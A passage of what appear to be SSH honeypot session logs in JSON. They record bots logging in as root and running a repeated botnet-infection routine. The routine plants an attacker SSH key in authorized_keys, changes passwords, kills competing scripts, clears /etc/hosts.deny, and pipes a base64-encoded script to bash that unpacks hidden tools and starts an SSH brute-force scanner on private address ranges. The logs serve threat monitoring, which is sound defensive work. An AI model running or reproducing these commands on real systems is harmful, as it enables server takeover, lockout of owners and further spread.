name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC"},{"seq":32,"at":"2026-08-24T22:06:51.631772+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-24T22:06:53.162304+00:00","kind":"output","latency_ms":1529,"data":"24G"},{"seq":34,"at":"2026-08-24T22:06:55.002402+00:00","kind":"input","latency_ms":null,"data":"echo \"root root14\" > /tmp/up.txt"},{"seq":35,"at":"2026-08-24T22:06:55.560739+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":36,"at":"2026-08-24T22:06:56.026680+00:00","kind":"output","latency_ms":463,"data":""},{"seq":37,"at":"2026-08-24T22:06:57.543054+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":38,"at":"2026-08-24T22:06:58.599050+00:00","kind":"output","latency_ms":1056,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":39,"at":"2026-08-24T22:06:59.158253+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":40,"at":"2026-08-24T22:06:59.689379+00:00","kind":"output","latency_ms":527,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":41,"at":"2026-08-24T22:07:00.253683+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-24T22:07:00.806962+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":43,"at":"2026-08-24T22:07:01.254293+00:00","kind":"output","latency_ms":447,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":44,"at":"2026-08-24T22:07:01.814958+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":45,"at":"2026-08-24T22:07:02.262063+00:00","kind":"output","latency_ms":446,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":46,"at":"2026-08-24T22:07:02.823130+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":47,"at":"2026-08-24T22:07:11.631549+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":48,"at":"2026-08-24T22:07:11.632015+00:00","kind":"output","latency_ms":null,"data":"root"}],"credentials":[{"username":"root","password":"root14","method":"password","accepted":true,"tier":"other"}]} {"id":"33711d99-bb98-4dec-8455-b964f5c6c109","name":"ashen-languid-capuchin","protocol":"ssh","channel_kind":"exec","src_ip":"43.153.205.159","src_port":39638,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":782,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-24T22:04:42.105280+00:00","ended_at":"2026-08-24T22:04:42.350865+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":3989,"events":[{"seq":1,"at":"2026-08-24T22:03:59.398350+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-24T22:04:00.168551+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-24T22:04:05.990615+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-24T22:04:05.992293+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-24T22:04:06.764279+00:00","kind":"input","latency_ms":null,"data":"echo \"root:YjuvlKAMVRz5\"|chpasswd|bash"},{"seq":6,"at":"2026-08-24T22:04:07.524628+00:00","kind":"output","latency_ms":762,"data":""},{"seq":7,"at":"2026-08-24T22:04:07.532902+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":8,"at":"2026-08-24T22:04:08.308949+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":9,"at":"2026-08-24T22:04:08.309526+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":10,"at":"2026-08-24T22:04:09.090761+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-24T22:04:09.671171+00:00","kind":"output","latency_ms":577,"data":"15888 4120 9768 128 1784 8336"},{"seq":12,"at":"2026-08-24T22:04:10.446856+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-24T22:04:11.393166+00:00","kind":"output","latency_ms":946,"data":"-rwxr-xr-x 1 root root 147K Aug 20 03:09 /usr/bin/ls"},{"seq":14,"at":"2026-08-24T22:04:12.183198+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-24T22:04:12.183643+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-24T22:04:12.969795+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-24T22:04:12.970276+00:00","kind":"output","latency_ms":null,"data":" 22:04:12 up 4 days, 18:54, 0 user, load average: 0.18, 0.17, 0.19\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-24T22:04:13.745164+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-24T22:04:13.745914+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-24T22:04:14.536788+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-24T22:04:14.537242+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-24T22:04:15.316209+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-24T22:04:15.316804+00:00","kind":"output","latency_ms":null,"data":"top - 22:04:15 up 4 days, 18:54, 0 user, load average: 0.18, 0.17, 0.19\nTasks: 109 total, 1 running, 108 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7626 free, 8261 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-24T22:04:16.100091+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-24T22:04:16.100539+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-24T22:04:16.876117+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-24T22:04:16.876995+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-24T22:04:17.677838+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-24T22:04:17.678313+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-24T22:04:18.467487+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-24T22:04:19.682962+00:00","kind":"output","latency_ms":1215,"data":"Model name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor"},{"seq":32,"at":"2026-08-24T22:04:20.459083+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-24T22:04:21.185937+00:00","kind":"output","latency_ms":725,"data":"25G"},{"seq":34,"at":"2026-08-24T22:04:23.625241+00:00","kind":"input","latency_ms":null,"data":"echo \"root SiChuanLT\" > /tmp/up.txt"},{"seq":35,"at":"2026-08-24T22:04:24.395827+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":36,"at":"2026-08-24T22:04:24.899133+00:00","kind":"output","latency_ms":501,"data":""},{"seq":37,"at":"2026-08-24T22:04:27.163439+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":38,"at":"2026-08-24T22:04:27.871711+00:00","kind":"output","latency_ms":708,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":39,"at":"2026-08-24T22:04:28.652875+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":40,"at":"2026-08-24T22:04:29.140782+00:00","kind":"output","latency_ms":485,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":41,"at":"2026-08-24T22:04:29.923158+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-24T22:04:30.707623+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":43,"at":"2026-08-24T22:04:31.208075+00:00","kind":"output","latency_ms":499,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":44,"at":"2026-08-24T22:04:31.991087+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":45,"at":"2026-08-24T22:04:32.459311+00:00","kind":"output","latency_ms":467,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":46,"at":"2026-08-24T22:04:33.241779+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":47,"at":"2026-08-24T22:04:42.106487+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":48,"at":"2026-08-24T22:04:42.106882+00:00","kind":"output","latency_ms":null,"data":"root"}],"credentials":[{"username":"root","password":"SiChuanLT","method":"password","accepted":true,"tier":"other"}]} {"id":"f6f3ca3f-8bb8-4346-9617-014935b9dd74","name":"burly-patient-vicuna","protocol":"ssh","channel_kind":"exec","src_ip":"141.95.54.130","src_port":59206,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":308,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-24T21:25:17.339639+00:00","ended_at":"2026-08-24T21:25:17.428604+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":4003,"events":[{"seq":1,"at":"2026-08-24T21:24:48.750630+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-24T21:24:49.057820+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-24T21:24:54.310637+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-24T21:24:54.311139+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-24T21:24:54.622675+00:00","kind":"input","latency_ms":null,"data":"echo \"root:NVTAebNvwU7l\"|chpasswd|bash"},{"seq":6,"at":"2026-08-24T21:24:54.935887+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-24T21:24:55.247870+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-24T21:24:55.248566+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-24T21:24:55.286559+00:00","kind":"output","latency_ms":663,"data":""},{"seq":10,"at":"2026-08-24T21:24:55.557589+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-24T21:24:56.245810+00:00","kind":"output","latency_ms":687,"data":"15888 4231 11657 0 0 0"},{"seq":12,"at":"2026-08-24T21:24:56.554704+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-24T21:24:57.505920+00:00","kind":"output","latency_ms":950,"data":"-rwxr-xr-x 1 root root 148K Jan 18 2026 /usr/bin/ls"},{"seq":14,"at":"2026-08-24T21:24:57.814770+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-24T21:24:57.815225+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-24T21:24:58.123566+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-24T21:24:58.123998+00:00","kind":"output","latency_ms":null,"data":" 21:24:58 up 4 days, 18:15, 0 user, load average: 0.22, 0.16, 0.2\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-24T21:24:58.431623+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-24T21:24:58.432308+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-24T21:24:58.742534+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-24T21:24:58.743199+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-24T21:24:59.053345+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-24T21:24:59.053733+00:00","kind":"output","latency_ms":null,"data":"top - 21:24:59 up 4 days, 18:15, 0 user, load average: 0.22, 0.16, 0.2\nTasks: 127 total, 1 running, 126 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7785 free, 8102 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-24T21:24:59.361060+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-24T21:24:59.361494+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-24T21:24:59.669484+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-24T21:24:59.670130+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-24T21:24:59.979955+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-24T21:24:59.980580+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-24T21:25:00.288514+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-24T21:25:01.759235+00:00","kind":"output","latency_ms":1469,"data":"Model name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor"},{"seq":32,"at":"2026-08-24T21:25:02.067481+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-24T21:25:02.841965+00:00","kind":"output","latency_ms":773,"data":"24G"},{"seq":34,"at":"2026-08-24T21:25:03.932677+00:00","kind":"input","latency_ms":null,"data":"echo \"root 3edcVFR$\" > /tmp/up.txt"},{"seq":35,"at":"2026-08-24T21:25:04.241439+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":36,"at":"2026-08-24T21:25:04.700029+00:00","kind":"output","latency_ms":458,"data":""},{"seq":37,"at":"2026-08-24T21:25:05.302874+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":38,"at":"2026-08-24T21:25:05.767936+00:00","kind":"output","latency_ms":464,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":39,"at":"2026-08-24T21:25:06.076727+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":40,"at":"2026-08-24T21:25:06.513559+00:00","kind":"output","latency_ms":436,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":41,"at":"2026-08-24T21:25:06.822961+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-24T21:25:07.129457+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":43,"at":"2026-08-24T21:25:07.936226+00:00","kind":"output","latency_ms":806,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":44,"at":"2026-08-24T21:25:08.244997+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":45,"at":"2026-08-24T21:25:08.759945+00:00","kind":"output","latency_ms":514,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":46,"at":"2026-08-24T21:25:09.072152+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":47,"at":"2026-08-24T21:25:09.569952+00:00","kind":"output","latency_ms":497,"data":""},{"seq":48,"at":"2026-08-24T21:25:17.340461+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":49,"at":"2026-08-24T21:25:17.341014+00:00","kind":"output","latency_ms":null,"data":"root"}],"credentials":[{"username":"root","password":"3edcVFR$","method":"password","accepted":true,"tier":"other"}]} {"id":"3f4555b7-f2b2-4f80-be0f-522dc8d48d29","name":"daring-plush-pangolin","protocol":"ssh","channel_kind":"exec","src_ip":"150.136.214.177","src_port":31390,"username":"feria","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":63,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-24T20:05:26.773233+00:00","ended_at":"2026-08-24T20:05:26.779502+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":3343,"events":[{"seq":1,"at":"2026-08-24T20:05:08.647029+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-24T20:05:08.709082+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-24T20:05:11.442238+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-24T20:05:11.442820+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-24T20:05:11.505687+00:00","kind":"input","latency_ms":null,"data":"echo -e \"feria\\nAv8bSUr1ISyy\\nAv8bSUr1ISyy\"|passwd|bash"},{"seq":6,"at":"2026-08-24T20:05:11.570949+00:00","kind":"input","latency_ms":null,"data":"echo \"feria\\nAv8bSUr1ISyy\\nAv8bSUr1ISyy\\n\"|passwd"},{"seq":7,"at":"2026-08-24T20:05:11.631858+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-24T20:05:11.632737+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-24T20:05:11.697151+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-24T20:05:12.962481+00:00","kind":"output","latency_ms":1266,"data":" total used free shared buff/cache available\nMem: 15888 1192 12401 8 2294 14377"},{"seq":11,"at":"2026-08-24T20:05:13.025327+00:00","kind":"input","latency_ms":null,"data":"ls 